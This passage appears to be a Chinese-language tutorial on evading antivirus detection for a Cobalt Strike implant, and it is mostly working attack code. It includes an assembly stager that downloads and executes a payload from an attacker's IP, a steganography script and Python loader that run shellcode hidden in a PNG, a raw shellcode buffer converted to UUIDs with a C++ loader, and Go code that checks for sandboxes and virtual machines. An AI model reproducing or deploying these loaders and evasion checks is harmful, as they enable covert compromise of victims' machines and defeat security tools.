mov DWORD PTR [Point0_dll], ebx ;上一個函數結束後kernel32的地址在
call Get_Function ;找到GetProcAddress的地址
mov DWORD PTR [Point0],edx ;地址存入Point0
push offset DWORD PTR func3 ;壓入混淆後的字串
call Decode ;解碼,正確的字串會覆蓋在原先的位置
push offset DWORD PTR Dll1
call Decode
mov eax,DWORD PTR [Point0_dll] ;kernel32的地址存入eax
push offset DWORD PTR func3 ;壓入函數名
push eax ;壓入地址
call DWORD PTR [Point0] ;呼叫GetProcAddress函數
push offset DWORD PTR Dll1 ;上面得到的是LoadLibraryA的地址,這時候eax是指向LoadLibraryA的函數指標,這裡push wininet的字串,下面直接call eax就可以載入wininet.dll
call eax ;call LoadLibraryA
mov DWORD PTR [Point1_dll], eax ;wininet地址存入Point1_dll中
push offset DWORD PTR func4
call Decode
mov eax, DWORD PTR [Point1_dll]
push offset DWORD PTR func4
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point4], eax
push offset DWORD PTR func5
call Decode
mov eax, DWORD PTR [Point1_dll]
push offset DWORD PTR func5
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point5], eax
push offset DWORD PTR func6
call Decode
mov eax, DWORD PTR [Point1_dll]
push offset DWORD PTR func6
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point6], eax
push offset DWORD PTR func7
call Decode
mov eax, DWORD PTR [Point1_dll]
push offset DWORD PTR func7
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point7], eax
push offset DWORD PTR func1
call Decode
mov eax, DWORD PTR [Point0_dll]
push offset DWORD PTR func1
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point1], eax
push offset DWORD PTR func8
call Decode
mov eax, DWORD PTR [Point1_dll]
push offset DWORD PTR func8
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point8], eax
;上面都是類似的操作,把字串壓入然後解密,得到的函數指標存入資料段中
push offset DWORD PTR func5_param ;ip地址解密
call Decode
push 0
push 0
push 0
push 1
push offset DWORD PTR func4_param
call DWORD PTR [Point4] ;呼叫InternetOpenA
push 0
push 0
push 3
push 0
push 0
push 58h ;這裡是埠
push offset DWORD PTR func5_param
push eax
call DWORD PTR [Point5] ;InternetConnectA
push 0
push 4000000h
push 0
push 0
push offset DWORD PTR func6_param0
push offset DWORD PTR func6_param1
push offset DWORD PTR func6_param2
push eax
call DWORD PTR [Point6] ;HttpOpenRequestA
mov DWORD PTR [Point2],eax ;將得到的控制程式碼存入Point2中
push 0
push 0
push 0
push 0
push eax
call DWORD PTR [Point7] ;HttpSendRequestA
push 40h
push 1000h
push 400000h
push 0
call DWORD PTR [Point1] ;VirtualAlloc
push offset DWORD PTR Point3
push 400000h
push eax
mov edi,eax ;VirtualAlloc的地址存入edi
mov eax,DWORD PTR [Point2]
push eax
call DWORD PTR [Point8] ;InternetReadFile
push edi ;edi入棧,這時候存的是VirtualAlloc開闢的地址
ret ;跳到VirtualAlloc開闢的地址執行
Getkernel32DLL:
xor ecx,ecx
mov eax,fs:[ecx+30h]
mov eax, [eax+0Ch]
mov esi, [eax+14h]
lodsd
xchg eax, esi
lodsd
mov ebx,[eax+10h]
ret
Get_Function:
mov edx,[ebx+3ch]
add edx,ebx
mov edx, [edx+78h]
add edx, ebx
mov esi, [edx+20h]
add esi, ebx
xor ecx,ecx
getfunc:inc ecx
lodsd
add eax,ebx
cmp DWORD PTR [eax], 50746547h
jnz getfunc
cmp DWORD PTR [eax+4], 41636f72h
jnz getfunc
mov esi, [edx+24h]
add esi, ebx
mov cx, [esi + ecx * 2]
dec ecx
mov esi, [edx+1ch]
add esi, ebx
mov edx, [esi + ecx * 4]
add edx, ebx
ret
Decode:
mov ebx,[esp+4]
call Strlen
x:mov AL, BYTE PTR [ebx + ecx - 1]
inc AL
mov BYTE PTR [ebx + ecx - 1], AL
loop x
ret 4
Strlen:
xor ecx,ecx
mov esi,[esp+8]
s:lodsb
inc ecx
cmp AL,0
jnz s
dec ecx
ret
END _START
通過文章看程式碼註釋
得知func5_param應該是存放ip的變數
通過執行後門找到原文中回連的ip和埠
通過找規律發現30=1,2f=0,2d=.,32=3,33=4,31=2 依次內推
而我們的IP是192.168.3.131
推算出進位製為30h,38h,31h,2dh,30h,35h,37h,2dh,32h,2dh,30h,32h,30h,00h
埠:82=52h
將上訴程式碼進行ip和埠的修改
然後更改我們cs的監聽器
通過命令
編譯為obj檔案:ml /c /coff /Cp 1.asm
生成exe檔案:link /subsystem:console /libpath:c:\masm32\lib 1.obj
將生成好的exe雙擊執行即可上線
參考連結:https://mp.weixin.qq.com/s/c8U2M_iJ8pWaI50sH8u9Hw
隱寫就是用PNG格式圖片每個畫素的四個顏色分量「rgba」的最低有效位來隱藏資訊,把文字資訊轉為位元資訊再填入色彩數值的最後一個位元位,所以我們可以通過將shellcode隱寫到圖片裡然後解密進行上線
使用指令碼進行隱寫操作
"""Encode png image via command-line.
Usage:
imageEncoding (-e|encode) <originImage> [<text>] [<encodedImage>]
imageEncoding (-d|decode) <encodedImage>
Options:
-h,--help 顯示幫助選單
-e 加密
-d 解密
Example:
imageEncoding -e coffee.png hello textOrFileToEncode encodedImage.png
imageEncoding -d encodedImage.png
"""
from PIL import Image
from docopt import docopt
"""
取得一個 PIL 影象並且更改所有值為偶數(使最低有效位為 0)
"""
def RGBAmakeImageEven(image):
pixels = list(image.getdata()) # 得到一個這樣的列表: [(r,g,b,t),(r,g,b,t)...]
evenPixels = [(r>>1<<1,g>>1<<1,b>>1<<1,t>>1<<1) for [r,g,b,t] in pixels] # 更改所有值為偶數(魔法般的移位)
evenImage = Image.new(image.mode, image.size) # 建立一個相同大小的圖片副本
evenImage.putdata(evenPixels) # 把上面的畫素放入到圖片副本
return evenImage
def RGBmakeImageEven(image):
pixels = list(image.getdata()) # 得到一個這樣的列表: [(r,g,b,t),(r,g,b,t)...]
evenPixels = [(r>>1<<1,g>>1<<1,b>>1<<1) for [r,g,b] in pixels] # 更改所有值為偶數(魔法般的移位)
evenImage = Image.new(image.mode, image.size) # 建立一個相同大小的圖片副本
evenImage.putdata(evenPixels) # 把上面的畫素放入到圖片副本
return evenImage
"""
內建函數 bin() 的替代,返回固定長度的二進位制字串
"""
def constLenBin(int):
binary = "0"*(8-(len(bin(int))-2))+bin(int).replace('0b','') # 去掉 bin() 返回的二進位制字串中的 '0b',並在左邊補足 '0' 直到字串長度為 8
return binary
"""
將字串編碼到圖片中
"""
def RGBAencodeDataInImage(image, data):
evenImage = RGBAmakeImageEven(image) # 獲得最低有效位為 0 的圖片副本
binary = ''.join(map(constLenBin,bytearray(data, 'utf-8'))) # 將需要被隱藏的字串轉換成二進位制字串
if len(binary) > len(image.getdata()) * 4: # 如果不可能編碼全部資料, 丟擲異常
raise Exception("Error: Can't encode more than " + len(evenImage.getdata()) * 4 + " bits in this image. ")
encodedPixels = [(r+int(binary[index*4+0]),g+int(binary[index*4+1]),b+int(binary[index*4+2]),t+int(binary[index*4+3])) if index*4 < len(binary) else (r,g,b,t) for index,(r,g,b,t) in enumerate(list(evenImage.getdata()))] # 將 binary 中的二進位制字串資訊編碼進畫素裡
encodedImage = Image.new(evenImage.mode, evenImage.size) # 建立新圖片以存放編碼後的畫素
encodedImage.putdata(encodedPixels) # 新增編碼後的資料
return encodedImage
def RGBencodeDataInImage(image, data):
evenImage = RGBmakeImageEven(image) # 獲得最低有效位為 0 的圖片副本
binary = ''.join(map(constLenBin,bytearray(data, 'utf-8'))) # 將需要被隱藏的字串轉換成二進位制字串
if len(binary)%3 != 0: # 將轉換的位元流資料末位補零,使其長度為3的倍數,防止其在下面重新編碼的過程中發生越界
rema = len(binary)%3
binary = binary+('0'*(3-rema))
# print(len(binary))
if len(binary) > len(image.getdata()) * 3: # 如果不可能編碼全部資料, 丟擲異常
raise Exception("Error: Can't encode more than " + len(evenImage.getdata()) * 3 + " bits in this image. ")
# evenImageList = list(evenImage.getdata())
# for index in range(len(evenImageList)):
# if index*3 < len(binary):
# tup = evenImageList[index]
# r = tup[0]
# g = tup[1]
# b = tup[2]
# r += int(binary[index*3+0])
# evenImageList[index] = (r,g,b)
# else:
# break
# if index*3+1 < len(binary):
# tup = evenImageList[index]
# r = tup[0]
# g = tup[1]
# b = tup[2]
# g += int(binary[index*3+1])
# evenImageList[index] = (r,g,b)
# else:
# break
# if index*3+2 < len(binary):
# tup = evenImageList[index]
# r = tup[0]
# g = tup[1]
# b = tup[2]
# b += int(binary[index*3+2])
# evenImageList[index] = (r,g,b)
# else:
# break
# index += 1
# encodedPixels = evenImageList
encodedPixels = [(r+int(binary[index*3+0]),g+int(binary[index*3+1]),b+int(binary[index*3+2])) if index*3 < len(binary) else (r,g,b) for index, (r,g,b) in enumerate(list(evenImage.getdata()))] # 將 binary 中的二進位制字串資訊編碼進畫素裡
encodedImage = Image.new(evenImage.mode, evenImage.size) # 建立新圖片以存放編碼後的畫素
encodedImage.putdata(encodedPixels) # 新增編碼後的資料
return encodedImage
"""
從二進位制字串轉為 UTF-8 字串
"""
def binaryToString(binary):
index = 0
string = []
rec = lambda x, i: x[2:8] + (rec(x[8:], i-1) if i > 1 else '') if x else ''
# rec = lambda x, i: x and (x[2:8] + (i > 1 and rec(x[8:], i-1) or '')) or ''
fun = lambda x, i: x[i+1:8] + rec(x[8:], i-1)
while index + 1 < len(binary):
chartype = binary[index:].index('0') # 存放字元所佔位元組數,一個位元組的字元會存為 0
length = chartype*8 if chartype else 8
string.append(chr(int(fun(binary[index:index+length],chartype),2)))
index += length
return ''.join(string)
"""
解碼隱藏資料
"""
def RGBAdecodeImage(image):
pixels = list(image.getdata()) # 獲得畫素列表
binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b))+str(int(t>>1<<1!=t)) for (r,g,b,t) in pixels]) # 提取圖片中所有最低有效位中的資料
# 找到資料截止處的索引
locationDoubleNull = binary.find('0000000000000000')
endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
data = binaryToString(binary[0:endIndex])
return data
def RGBdecodeImage(image):
pixels = list(image.getdata()) # 獲得畫素列表
binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b)) for (r,g,b) in pixels]) # 提取圖片中所有最低有效位中的資料
# 找到資料截止處的索引
locationDoubleNull = binary.find('0000000000000000')
endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
data = binaryToString(binary[0:endIndex])
return data
def isTextFile(path):
if path.endswith(".txt"):
return True
elif path.endswith(".m"):
return True
elif path.endswith(".h"):
return True
elif path.endswith(".c"):
return True
elif path.endswith(".py"):
return True
else:
return False
if __name__ == '__main__':
"""command-line interface"""
arguments = docopt(__doc__)
# print(arguments)
if arguments['-e'] or arguments['encode']:
if arguments['<text>'] is None:
arguments['<text>'] = "待加密的文字"
if arguments['<encodedImage>'] is None:
arguments['<encodedImage>'] = "encodedImage.png"
if isTextFile(arguments['<text>']):
with open(arguments['<text>'], 'rt') as f:
arguments['<text>'] = f.read()
print("載體圖片:")
print(arguments['<originImage>']+"\n")
print("待加密密文:")
print(arguments['<text>']+"\n")
print("加密後圖片:")
print(arguments['<encodedImage>']+"\n")
print("加密中……\n")
im = Image.open(arguments['<originImage>'])
if im.mode == 'RGBA':
RGBAencodeDataInImage(im, arguments['<text>']).save(arguments['<encodedImage>'])
# elif im.mode == 'RGB':
# RGBencodeDataInImage(im, arguments['<text>']).save(arguments['<encodedImage>'])
else:
print("暫不支援此圖片格式……")
print("加密完成,密文為:\n"+arguments['<text>']+"\n")
elif arguments['-d'] or arguments['decode']:
print("解密中……\n")
im = Image.open(arguments['<encodedImage>'])
if im.mode == 'RGBA':
print("解祕完成,密文為:\n"+RGBAdecodeImage(im)+"\n")
# elif im.mode == 'RGB':
# print("解祕完成,密文為:\n"+RGBdecodeImage(im)+"\n")
else:
print("非法的圖片格式……")
找一張png的圖片
python3 image-1.py -e upload.png abcd encodedImage.png
將abcd字元寫入upload.png中然後生成encodedImage.png
使用
python3 iage-1.py -d encodedImage.png
進行解密
將加密指令碼進行修改
encodedImage.png#!/usr/bin/env python3
#coding=utf-8
"""Encode png image via command-line.
Usage:
imageEncoding (-e|encode) <originImage> [<text>] [<encodedImage>]
imageEncoding (-d|decode) <encodedImage>
Options:
-h,--help 顯示幫助選單
-e 加密
-d 解密
Example:
imageEncoding -e coffee.png hello textOrFileToEncode encodedImage.png
imageEncoding -d encodedImage.png
"""
from PIL import Image
from docopt import docopt
import base64,ctypes
"""
內建函數 bin() 的替代,返回固定長度的二進位制字串
"""
def constLenBin(int):
binary = "0"*(8-(len(bin(int))-2))+bin(int).replace('0b','') # 去掉 bin() 返回的二進位制字串中的 '0b',並在左邊補足 '0' 直到字串長度為 8
return binary
"""
將字串編碼到圖片中
"""
"""
從二進位制字串轉為 UTF-8 字串
"""
def binaryToString(binary):
index = 0
string = []
rec = lambda x, i: x[2:8] + (rec(x[8:], i-1) if i > 1 else '') if x else ''
# rec = lambda x, i: x and (x[2:8] + (i > 1 and rec(x[8:], i-1) or '')) or ''
fun = lambda x, i: x[i+1:8] + rec(x[8:], i-1)
while index + 1 < len(binary):
chartype = binary[index:].index('0') # 存放字元所佔位元組數,一個位元組的字元會存為 0
length = chartype*8 if chartype else 8
string.append(chr(int(fun(binary[index:index+length],chartype),2)))
index += length
return ''.join(string)
"""
解碼隱藏資料
"""
def RGBAdecodeImage(image):
pixels = list(image.getdata()) # 獲得畫素列表
binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b))+str(int(t>>1<<1!=t)) for (r,g,b,t) in pixels]) # 提取圖片中所有最低有效位中的資料
# 找到資料截止處的索引
locationDoubleNull = binary.find('0000000000000000')
endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
data = binaryToString(binary[0:endIndex])
return data
def RGBdecodeImage(image):
pixels = list(image.getdata()) # 獲得畫素列表
binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b)) for (r,g,b) in pixels]) # 提取圖片中所有最低有效位中的資料
# 找到資料截止處的索引
locationDoubleNull = binary.find('0000000000000000')
endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
data = binaryToString(binary[0:endIndex])
return data
def isTextFile(path):
if path.endswith(".txt"):
return True
elif path.endswith(".m"):
return True
elif path.endswith(".h"):
return True
elif path.endswith(".c"):
return True
elif path.endswith(".py"):
return True
else:
return False
if __name__ == '__main__':
"""command-line interface"""
#arguments = docopt(__doc__)
im = Image.open('encodedImage.png')
print("解祕完成,密文為:\n"+RGBAdecodeImage(im)+"\n")
func=base64.b64decode(RGBAdecodeImage(im))
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(func), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(func), len(func))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
可以看到最後幾行將encodedImage.png解密出來base64解密然後帶入shellcode載入器中執行
我們將shellcode進行一個base64加密
最後可以將shellcodebase64加密後的程式碼隱寫到圖片裡,然後用第二個指令碼進行上線,由於我的環境問題,後面沒有復現成功
用c++載入shellcode進行上線
首先利用py指令碼將shellcode生成為uuid
import uuid
import binascii
buf = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x91\x1f\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x45\x75\x34\x6e\x00\xb1\x21\x2a\xd5\x17\x08\xcd\x71\x16\x56\x30\x9f\xde\x6f\xb8\x58\xe8\x89\xb2\x45\xdc\xf2\x4e\xd0\x6c\xfc\xa9\xb4\x56\x20\x6d\x31\x67\xbd\xbe\x26\x65\x84\x5f\xb4\xd3\x2f\x65\x90\xdd\x89\x85\x36\xf3\x26\xc1\xdf\x8d\x0b\x4e\x3a\x9c\x24\xe0\xef\x57\x7c\x26\x59\xd0\x45\x6f\x98\xab\xda\x79\x1e\x58\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x45\x4e\x49\x4e\x29\x0d\x0a\x00\x5d\xe7\x84\x44\x01\x7c\x29\xa5\xc7\xcc\x7f\x1b\x2a\x1b\xbd\xc0\xe1\x51\xea\x2e\xcd\x33\x76\x2e\x32\x03\xfb\x6e\x50\xa8\x8a\xc4\x88\xd4\xd7\x55\x64\xb2\x91\x78\x77\x64\x9a\xde\xd8\x0e\xdb\x32\xd1\xe2\x4b\xc8\x15\x0b\x4c\x33\xef\x68\x65\x84\xa3\x16\x06\x73\x9d\xbd\xf5\xaf\x98\x66\xf3\x62\x26\x50\xcd\x99\x56\xd6\xe6\xb8\xb5\x03\x85\x8b\x1e\xe2\x08\xdf\x35\x2c\xb5\xce\xa3\x77\xca\x64\x3b\x7a\xe4\x5a\xc2\x2c\x5d\x29\x92\x06\x13\xed\xd4\x19\x55\x6e\x49\x15\x35\x71\xf9\x3d\x58\x97\xb8\x0d\x8d\x0f\xb1\x8e\x9e\xf9\xe8\x55\x19\x15\x69\x49\xf8\xab\x43\x1c\x2d\x18\x3b\x45\xcb\xbe\xec\xc6\xd4\xe9\x67\x77\x2a\x29\xc7\xc4\x47\x1c\x2a\x48\x2e\xb9\x90\xf5\x8f\x94\x7f\xc1\x4a\x76\x2b\x6c\x69\x02\x69\x88\xe6\x80\x2e\x59\x8e\xcf\x4e\xc4\x1f\xd2\xfd\xed\x3f\x57\xa0\x03\x52\x7e\xa3\x58\x61\x0f\x63\xa2\xec\xfb\xf7\x8d\x70\x70\xf4\xbf\x8e\x19\x10\x1b\xa7\xd1\xc9\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x33\x2e\x31\x33\x31\x00\x12\x34\x56\x78"
hex = binascii.hexlify(buf).decode()
hex += '0' * (32 - (len(hex) % 32))
for i in range(0,len(hex),32):
print("\"{}\",".format(uuid.UUID(bytes_le=binascii.unhexlify(hex[i:i+32]))))
生成的uuid
再用c++指令碼執行uuid
#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
const char* uuids[] =
{
"0089e8fc-0000-8960-e531-d2648b52308b",
"528b0c52-8b14-2872-0fb7-4a2631ff31c0",
"7c613cac-2c02-c120-cf0d-01c7e2f05257",
"8b10528b-3c42-d001-8b40-7885c0744a01",
"488b50d0-8b18-2058-01d3-e33c498b348b",
"ff31d601-c031-c1ac-cf0d-01c738e075f4",
"3bf87d03-247d-e275-588b-582401d3668b",
"588b4b0c-011c-8bd3-048b-01d089442424",
"59615b5b-515a-e0ff-585f-5a8b12eb865d",
"74656e68-6800-6977-6e69-54684c772607",
"ff31d5ff-5757-5757-5768-3a5679a7ffd5",
"000084e9-5b00-c931-5151-6a0351516891",
"5300001f-6850-8957-9fc6-ffd5eb705b31",
"006852d2-4002-5284-5252-53525068eb55",
"d5ff3b2e-c689-c383-5031-ff57576aff53",
"062d6856-7b18-d5ff-85c0-0f84c3010000",
"f685ff31-0474-f989-eb09-68aac5e25dff",
"68c189d5-2145-315e-ffd5-31ff576a0751",
"b7685056-e057-ff0b-d5bf-002f000039c7",
"ff31b774-91e9-0001-00e9-c9010000e88b",
"2fffffff-7545-6e34-00b1-212ad51708cd",
"30561671-de9f-b86f-58e8-89b245dcf24e",
"a9fc6cd0-56b4-6d20-3167-bdbe2665845f",
"652fd3b4-dd90-8589-36f3-26c1df8d0b4e",
"e0249c3a-57ef-267c-59d0-456f98abda79",
"5500581e-6573-2d72-4167-656e743a204d",
"6c697a6f-616c-352f-2e30-2028636f6d70",
"62697461-656c-203b-4d53-494520392e30",
"6957203b-646e-776f-7320-4e5420362e31",
"7254203b-6469-6e65-742f-352e303b2042",
"3945494f-453b-494e-4e29-0d0a005de784",
"297c0144-c7a5-7fcc-1b2a-1bbdc0e151ea",
"7633cd2e-322e-fb03-6e50-a88ac488d4d7",
"91b26455-7778-9a64-ded8-0edb32d1e24b",
"4c0b15c8-ef33-6568-84a3-1606739dbdf5",
"f36698af-2662-cd50-9956-d6e6b8b50385",
"08e21e8b-35df-b52c-cea3-77ca643b7ae4",
"5d2cc25a-9229-1306-edd4-19556e491535",
"583df971-b897-8d0d-0fb1-8e9ef9e85519",
"f8496915-43ab-2d1c-183b-45cbbeecc6d4",
"2a7767e9-c729-47c4-1c2a-482eb990f58f",
"4ac17f94-2b76-696c-0269-88e6802e598e",
"1fc44ecf-fdd2-3fed-57a0-03527ea35861",
"eca2630f-f7fb-708d-70f4-bf8e19101ba7",
"6800c9d1-b5f0-56a2-ffd5-6a4068001000",
"00006800-0040-6857-58a4-53e5ffd593b9",
"00000000-d901-5351-89e7-576800200000",
"12685653-8996-ffe2-d585-c074c68b0701",
"75c085c3-58e5-e8c3-a9fd-ffff3139322e",
"2e383631-2e33-3331-3100-123456780000",
};
int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* ha = HeapAlloc(hc, 0, 0x100000);
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);
for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
if (status != RPC_S_OK) {
CloseHandle(ha);
return -1;
}
hptr += 16;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
CloseHandle(ha);
return 0;
}
uuids[]裡寫入剛剛生成的uuid,然後執行偵錯。
成功上線
相關連結:https://mp.weixin.qq.com/s/mC0XhNSwdhhISwcBFXe0uQ
近年來,各類惡意軟體層出不窮,反病毒軟體也更新了各種檢測方案以提高檢測率。
其中比較有效的方案是動態沙箱檢測技術,即通過在沙箱中執行程式並觀察程式行為來
判斷程式是否為惡意程式。為了逃避沙箱/安全人員的檢測,惡意軟體使用了各類識別沙
箱/虛擬機器器的技術,用於判斷自身程式是否執行在沙箱/虛擬機器器中。
通過檢測真實硬體狀態,例如硬碟大小,記憶體大小判斷是否為虛擬機器器
許多沙箱檢測完畢後會重置系統,我們可以檢測開機時間來判斷是否為真實的執行狀況。
在虛擬機器器中執行
在真實機中執行
查詢是否存在虛擬機器器檔案
這些檔案在虛擬機器器中是存在的,而在真實機中沒有
package main
import (
"encoding/hex"
"golang.org/x/sys/windows"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"syscall"
"time"
"unsafe"
)
// 檢測語言,依賴windows封包,編譯後會增加0.6M大小
func check_language() {
a, _ := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME) //獲取當前系統首選語言
if a[0] != "zh-CN" {
os.Exit(1)
}
}
func check_sandbox() {
// 1. 延時執行
timeSleep1, _ := timeSleep()
// 2. 檢測開機時間
bootTime1, _ := bootTime()
// 3. 檢測實體記憶體
physicalMemory1, _ := physicalMemory()
// 4. 檢測CPU核心數
numberOfCPU1, _ := numberOfCPU()
// 5. 檢測臨時檔案數
numberOfTempFiles1, _ := numberOfTempFiles()
level := timeSleep1 + bootTime1 + physicalMemory1 + numberOfCPU1 + numberOfTempFiles1 // 有五個等級,等級越趨向於5,越像真機
//fmt.Println("level:", level)
if level < 4 {
os.Exit(1)
}
}
// 1. 延時執行
func timeSleep() (int, error) {
startTime := time.Now()
time.Sleep(5 * time.Second)
endTime := time.Now()
sleepTime := endTime.Sub(startTime)
if sleepTime >= time.Duration(5*time.Second) {
//fmt.Println("睡眠時間為:", sleepTime)
return 1, nil
} else {
return 0, nil
}
}
// 2. 檢測開機時間
// 許多沙箱檢測完畢後會重置系統,我們可以檢測開機時間來判斷是否為真實的執行狀況。
func bootTime() (int, error) {
var kernel = syscall.NewLazyDLL("Kernel32.dll")
GetTickCount := kernel.NewProc("GetTickCount")
r, _, _ := GetTickCount.Call()
if r == 0 {
return 0, nil
}
ms := time.Duration(r * 1000 * 1000)
tm := time.Duration(30 * time.Minute)
//fmt.Println(ms,tm)
if ms < tm {
return 0, nil
} else {
return 1, nil
}
}
// 3、實體記憶體大小
func physicalMemory() (int, error) {
var mod = syscall.NewLazyDLL("kernel32.dll")
var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
var mem uint64
proc.Call(uintptr(unsafe.Pointer(&mem)))
mem = mem / 1048576
//fmt.Printf("實體記憶體為%dG\n", mem)
if mem < 4 {
return 0, nil // 小於4GB返回0
}
return 1, nil // 大於4GB返回1
}
func numberOfCPU() (int, error) {
a := runtime.NumCPU()
//fmt.Println("CPU核心數為:", a)
if a < 4 {
return 0, nil // 小於4核心數,返回0
} else {
return 1, nil // 大於4核心數,返回1
}
}
func numberOfTempFiles() (int, error) {
conn := os.Getenv("temp") // 通過環境變數讀取temp資料夾路徑
var k int
if conn == "" {
//fmt.Println("未找到temp資料夾,或temp資料夾不存在")
return 0, nil
} else {
local_dir := conn
err := filepath.Walk(local_dir, func(filename string, fi os.FileInfo, err error) error {
if fi.IsDir() {
return nil
}
k++
// fmt.Println("filename:", filename) // 輸出檔案名字
return nil
})
//fmt.Println("Temp總共檔案數量:", k)
if err != nil {
// fmt.Println("路徑獲取錯誤")
return 0, nil
}
}
if k < 30 {
return 0, nil
}
return 1, nil
}
func check_virtual() (bool, error) { // 識別虛擬機器器
model := ""
var cmd *exec.Cmd
cmd = exec.Command("cmd", "/C", "wmic path Win32_ComputerSystem get Model")
stdout, err := cmd.Output()
if err != nil {
return false, err
}
model = strings.ToLower(string(stdout))
if strings.Contains(model, "VirtualBox") || strings.Contains(model, "virtual") || strings.Contains(model, "VMware") ||
strings.Contains(model, "KVM") || strings.Contains(model, "Bochs") || strings.Contains(model, "HVM domU") || strings.Contains(model, "Parallels") {
return true, nil //如果是虛擬機器器則返回true
}
return false, nil
}
func PathExists(path string) (bool, error) {
_, err := os.Stat(path)
if err == nil {
return true, nil
}
if os.IsNotExist(err) {
return false, nil
}
return false, err
}
func fack(path string) {
b, _ := PathExists(path)
if b {
os.Exit(1)
}
}
func check_file() {
fack("C:\\windows\\System32\\Drivers\\Vmmouse.sys")
fack("C:\\windows\\System32\\Drivers\\vmtray.dll")
fack("C:\\windows\\System32\\Drivers\\VMToolsHook.dll")
fack("C:\\windows\\System32\\Drivers\\vmmousever.dll")
fack("C:\\windows\\System32\\Drivers\\vmhgfs.dll")
fack("C:\\windows\\System32\\Drivers\\vmGuestLib.dll")
fack("C:\\windows\\System32\\Drivers\\VBoxMouse.sys")
